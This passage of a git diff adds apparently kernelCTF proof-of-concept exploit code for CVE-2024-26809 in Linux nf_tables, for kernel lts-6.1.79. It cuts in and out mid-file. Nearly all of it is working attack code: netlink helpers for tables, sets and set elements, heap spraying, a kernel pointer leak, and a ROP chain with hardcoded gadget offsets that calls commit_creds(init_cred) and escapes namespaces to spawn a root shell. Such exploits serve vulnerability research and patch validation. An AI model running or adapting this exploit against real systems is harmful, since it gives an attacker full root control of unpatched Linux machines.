exit(EXIT_FAILURE); + } + usleep(1000); +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + pin_on_cpu(0); + return 0; +} + + + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;inlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;inlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + +int nl_callback_get_table(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_TABLE_MAX+1]; + memset(tb_msg, 0, NFTA_TABLE_MAX * 8); + //printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + if (tb_msg[NFTA_TABLE_NAME]){ + printf("Getting %s\n", nla_get_string(tb_msg[NFTA_TABLE_NAME])); + } + if (tb_msg[NFTA_TABLE_USERDATA]){ + free(table_udata); + table_udata = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA])); + nla_memcpy(table_udata, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA])); + } + return NL_OK; +} + +void spray_tables(struct nl_sock * socket, int len, char *udata, int size){ + char *tmp = malloc(0x100); + memset(tmp,0,0x100); + int i; + for(i=0;iudata` back. + while(1){ + bitmap_key = i; + new_setelem_with_expr(socket, table, bitmap_set, pad, 0xc0, NULL, &bitmap_key, 2, NULL, 0); + snprintf(tmp, 0x100, "table for test %d", f); + get_table(socket2, tmp);//[1] + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28)); + if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0x2e0){ + break; + } + sleep(0.1); + i++; + } + //Save it. We will use it later. + //Step 7: Dump `nft_table F`. We have dump it in [1] + char *setelem_data = malloc(0x100); + memcpy(setelem_data, table_udata, 0xd0); + kernel_off = *(uint64_t *)(table_udata+0x28) - 0xFFFFFFFF82B2A2E0; //nft_last_ops + //now we get ops, we try to add a small setelem and leak it. We will use this setelem as expr->ops target. + //Step 8: Create another set element `G`. + bitmap_key++; + new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0);//set element G + snprintf(tmp, 0x100, "table for test %d", f); + + get_table(socket2, tmp); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Get next setelem : %llx\n",*(uint64_t *)table_udata); + + uint64_t ops_addr = *(uint64_t *)table_udata; + //Free the small setelem, and fill it with our target expr->ops->dump and expr->ops->type + //Step 9 : Delete set element `G`.Fill the heap memory of set element `G` through heap spraying. + del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0); + sleep(1); + //ops->dump + *(uint64_t *)&pad[0x40] = kernel_off + 0xFFFFFFFF81CD24B3;//leave ; ret + //ops->type + *(uint64_t *)&pad[0x78] = kernel_off + 0xFFFFFFFF83B69A00;/*the address of nft_last_type + In function nf_tables_fill_expr_info: + if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name)) + so we need to fake ops->type to avoid kernel crash + */ + spray_tables(socket,0x200, pad, 0x80); + //Now we try to control ip by faking another expr in set elem. + //build fake setelem + *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops + //start ROP + *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xFFFFFFFF8156F170;//pop rdi; ret + *(uint64_t *)&setelem_data[0x38] = kernel_off + 0xFFFFFFFF838768E0;//init_cred + *(uint64_t *)&setelem_data[0x40] = kernel_off + 0xFFFFFFFF811BD090;//commit_creds; + *(uint64_t *)&setelem_data[0x48] = kernel_off + 0xFFFFFFFF8156F170;//pop rdi ; ret + *(uint64_t *)&setelem_data[0x50] = 1; + *(uint64_t *)&setelem_data[0x58] = kernel_off + 0xFFFFFFFF811B3A60;//find_task_by_vpid + *(uint64_t *)&setelem_data[0x60] = kernel_off + 0xffffffff810d55a1;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret + *(uint64_t *)&setelem_data[0x68] = 0; + *(uint64_t *)&setelem_data[0x70] = kernel_off + 0xffffffff8102e2a6;//pop rsi ; ret + *(uint64_t *)&setelem_data[0x78] = kernel_off + 0xFFFFFFFF838766A0;//init_nsproxy + *(uint64_t *)&setelem_data[0x80] = kernel_off + 0xFFFFFFFF811BB4F0;//switch_task_namespaces + *(uint64_t *)&setelem_data[0x88] = kernel_off + 0xFFFFFFFF8218EE86;//swapgs; ret + *(uint64_t *)&setelem_data[0x90] = kernel_off + 0xFFFFFFFF822011D7;//iretq + *(uint64_t *)&setelem_data[0x98] = (uint64_t)shell; + *(uint64_t *)&setelem_data[0xa0] = user_cs; + *(uint64_t *)&setelem_data[0xa8] = user_rflags; + *(uint64_t *)&setelem_data[0xb0] = user_rsp|8; + *(uint64_t *)&setelem_data[0xb8] = user_ss; + + //Step 10: Delete `nft_table F`. + del_table(socket, tmp); + //Step 11 and 12 + //Try to get it back and control RIP + sleep(5); + bitmap_key = i; + int t=0; + while(1){ + sleep(0.1); + spray_tables(socket, 1, setelem_data, 0xd0); + get_setelem(socket, table, bitmap_set, &bitmap_key, 2); + printf("%d\n",t); + t++; + } + + printf("End\n"); + while(1); +} + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + exploit(socket); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/obj.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/obj.h new file mode 100644 index 000000000..35c65df8b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/obj.h @@ -0,0 +1,134 @@ +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 6);//IPPROTO_TCP + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create %s\n",obj_name); + } +} + +void del_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } + +} + diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/set.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/set.h new file mode 100644 index 000000000..72451d0e3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/set.h @@ -0,0 +1,164 @@ +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, int key_len, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<4;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } +} + +void new_set_bitmap(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //struct nl_msg *data = nlmsg_alloc(); + + //nla_put_u32(data, NFTA_SET_DESC_SIZE, htonl(0x1000)); + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(2)); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + //nla_put_nested(msg2, NFTA_SET_DESC, data); + //nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_OBJECT)); + //nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } +} + +struct nlmsghdr *del_set_msg(char *table_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/setelem.h b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/setelem.h new file mode 100644 index 000000000..f118c7640 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26809_lts_cos/exploit/lts-6.1.79/setelem.h @@ -0,0 +1,358 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + if(obj_ref) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +void new_setelem_with_expr(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_expr = nlmsg_alloc(); + struct nl_msg *elem_expr_data = nlmsg_alloc(); + struct nl_msg *elem_expr_data_cmp_data = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_expr, NFTA_EXPR_NAME, "last"); + nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + 